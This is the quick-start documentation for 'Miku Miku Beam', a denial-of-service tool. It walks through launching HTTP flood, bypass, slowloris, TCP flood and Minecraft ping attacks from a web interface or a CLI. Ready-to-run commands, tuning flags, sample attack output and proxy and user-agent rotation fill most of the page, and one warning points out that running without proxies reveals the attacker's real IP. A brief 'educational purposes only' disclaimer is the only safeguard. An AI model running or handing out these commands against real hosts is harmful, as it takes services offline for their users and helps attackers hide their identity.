> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/sammwyy/mikuMikuBeam/llms.txt
> Use this file to discover all available pages before exploring further.

# Quick start

> Run your first network stress test with Miku Miku Beam

<Warning>
  This project is for educational purposes only. Always ensure you have permission to test the target system.
</Warning>

## Choose your interface

Miku Miku Beam offers two ways to run attacks:

<CardGroup cols={2}>
  <Card title="Web interface" icon="browser">
    Visual monitoring with real-time stats and Miku theme
  </Card>

  <Card title="CLI interface" icon="terminal">
    Fast command-line execution with colored output
  </Card>
</CardGroup>

## Web interface quick start

<Steps>
  <Step title="Start the server">
    Launch the web server:

    ```bash theme={null}
    make run-server
    # or directly:
    ./bin/mmb-server
    ```

    The server starts on `http://localhost:3000` by default.
  </Step>

  <Step title="Open the web interface">
    Navigate to the web interface in your browser:

    ```
    http://localhost:3000
    ```

    You'll see the Miku-themed interface with attack configuration options.
  </Step>

  <Step title="Configure your attack">
    Set up the attack parameters:

    * **Target URL**: `http://example.com` (or your test target)
    * **Attack Method**: Choose from:
      * `http_flood` - Random HTTP requests
      * `http_bypass` - Browser-mimicking requests
      * `http_slowloris` - Slow connection attacks
      * `tcp_flood` - TCP packet flooding
      * `minecraft_ping` - Minecraft server pings
    * **Packet Size**: `512` bytes (default)
    * **Duration**: `60` seconds
    * **Packet Delay**: `500` ms between packets
    * **Threads**: `4` concurrent threads (0 = auto-detect CPU cores)
  </Step>

  <Step title="Manage proxies and user agents">
    Click the text button to the right of the beam button to open the editor.

    Add your proxies and user agents directly in the web interface:

    **Proxies** (one per line):

    ```text theme={null}
    http://proxy1.example.com:8080
    socks5://user:pass@proxy2.example.com:1080
    ```

    **User Agents** (one per line):

    ```text theme={null}
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
    ```
  </Step>

  <Step title="Start the attack">
    Click the "Start Attack" button to begin. You'll see:

    * Real-time packets per second (PPS)
    * Total packets sent
    * Attack progress
    * Success/failure statistics

    Click "Stop Attack" to terminate early.
  </Step>
</Steps>

### Multiple clients

<Note>
  The web server supports multiple clients running different attacks simultaneously. Each browser tab/window maintains its own isolated attack instance.
</Note>

To run multiple attacks:

1. Open additional browser tabs to `http://localhost:3000`
2. Configure different targets or attack methods
3. Each client operates independently

## CLI interface quick start

<Steps>
  <Step title="Basic attack syntax">
    The CLI follows this pattern:

    ```bash theme={null}
    ./bin/mmb-cli attack [method] [target] [flags]
    ```

    Available methods:

    * `http_flood`
    * `http_bypass`
    * `http_slowloris`
    * `tcp_flood`
    * `minecraft_ping`
  </Step>

  <Step title="Run a simple attack">
    Execute an HTTP flood attack:

    ```bash theme={null}
    ./bin/mmb-cli attack http_flood http://example.com
    ```

    You'll see colored real-time output:

    ```text theme={null}
    Starting http_flood against http://example.com with 10 proxies
    15:04:05 PPS:245 Total:245 Proxies:10
    15:04:06 PPS:312 Total:557 Proxies:10
    15:04:07 PPS:298 Total:855 Proxies:10
    ```
  </Step>

  <Step title="Customize attack parameters">
    Use flags to customize the attack:

    ```bash theme={null}
    ./bin/mmb-cli attack http_bypass http://example.com \
      --duration 120 \
      --delay 100 \
      --packet-size 1024 \
      --threads 8
    ```

    | Flag            | Default | Description                           |
    | --------------- | ------- | ------------------------------------- |
    | `--duration`    | `60`    | Attack duration in seconds            |
    | `--delay`       | `500`   | Delay between packets in milliseconds |
    | `--packet-size` | `512`   | Packet size in bytes                  |
    | `--threads`     | `0`     | Number of threads (0 = CPU cores)     |
    | `--verbose`     | `false` | Show detailed attack logs             |
    | `--no-proxy`    | `false` | Run without proxies                   |
  </Step>

  <Step title="Use verbose mode">
    Enable detailed logging to see individual attack attempts:

    ```bash theme={null}
    ./bin/mmb-cli attack tcp_flood http://example.com --verbose
    ```

    Verbose output includes:

    * Proxy addresses used
    * Target endpoints
    * Individual request details
  </Step>

  <Step title="Run without proxies">
    For testing or when proxies aren't available:

    ```bash theme={null}
    ./bin/mmb-cli attack http_flood http://example.com --no-proxy
    ```

    <Warning>
      Running without proxies exposes your real IP address to the target server.
    </Warning>
  </Step>
</Steps>

## Example attacks

<CodeGroup>
  ```bash HTTP Flood theme={null}
  # Basic HTTP flooding with default settings
  ./bin/mmb-cli attack http_flood http://example.com
  ```

  ```bash HTTP Bypass theme={null}
  # Browser-mimicking attack with custom duration
  ./bin/mmb-cli attack http_bypass http://example.com \
    --duration 120 \
    --threads 8
  ```

  ```bash Slowloris theme={null}
  # Slow connection attack with verbose logging
  ./bin/mmb-cli attack http_slowloris http://example.com \
    --verbose \
    --delay 2000
  ```

  ```bash TCP Flood theme={null}
  # Raw TCP flooding without proxies
  ./bin/mmb-cli attack tcp_flood http://example.com \
    --no-proxy \
    --packet-size 2048
  ```

  ```bash Minecraft Ping theme={null}
  # Minecraft server status requests
  ./bin/mmb-cli attack minecraft_ping minecraft.example.com:25565 \
    --delay 1000 \
    --threads 4
  ```
</CodeGroup>

## Understanding the output

### CLI output format

```text theme={null}
15:04:05 PPS:245 Total:245 Proxies:10
```

* **Timestamp** (`15:04:05`) - Current time
* **PPS** (`245`) - Packets per second (rate)
* **Total** (`245`) - Total packets sent since start
* **Proxies** (`10`) - Number of proxies in rotation

### Web interface stats

The web UI displays:

* **Real-time graph** - Visual representation of attack rate
* **Packets per second** - Current sending rate
* **Total packets** - Cumulative count
* **Success/failure ratio** - Attack effectiveness
* **Active proxies** - Number of proxies in use

## Stopping attacks

<CodeGroup>
  ```bash CLI theme={null}
  # Press Ctrl+C to stop the attack gracefully
  Ctrl + C
  ```

  ```text Web interface theme={null}
  Click the "Stop Attack" button
  ```
</CodeGroup>

The engine will:

1. Cancel the attack context
2. Stop all worker goroutines
3. Display final statistics
4. Clean up resources

## Production deployment

For production use, run the server binary directly:

```bash theme={null}
# Start in production mode
./bin/mmb-server
```

In production mode:

* Frontend and backend run on the same port (`:3000`)
* Static files are served from `bin/web-client/`
* No separate development server needed

<Note>
  Ensure `data/proxies.txt` and `data/uas.txt` exist before starting the server.
</Note>

## Next steps

<CardGroup cols={2}>
  <Card title="Attack methods" icon="bolt" href="/attack-methods">
    Learn about each attack type in detail
  </Card>

  <Card title="Configuration" icon="sliders" href="/configuration">
    Advanced configuration options and tuning
  </Card>

  <Card title="API reference" icon="code" href="/api/overview">
    REST API and Socket.IO documentation
  </Card>

  <Card title="Docker deployment" icon="docker" href="/deployment/docker">
    Run Miku Miku Beam in containers
  </Card>
</CardGroup>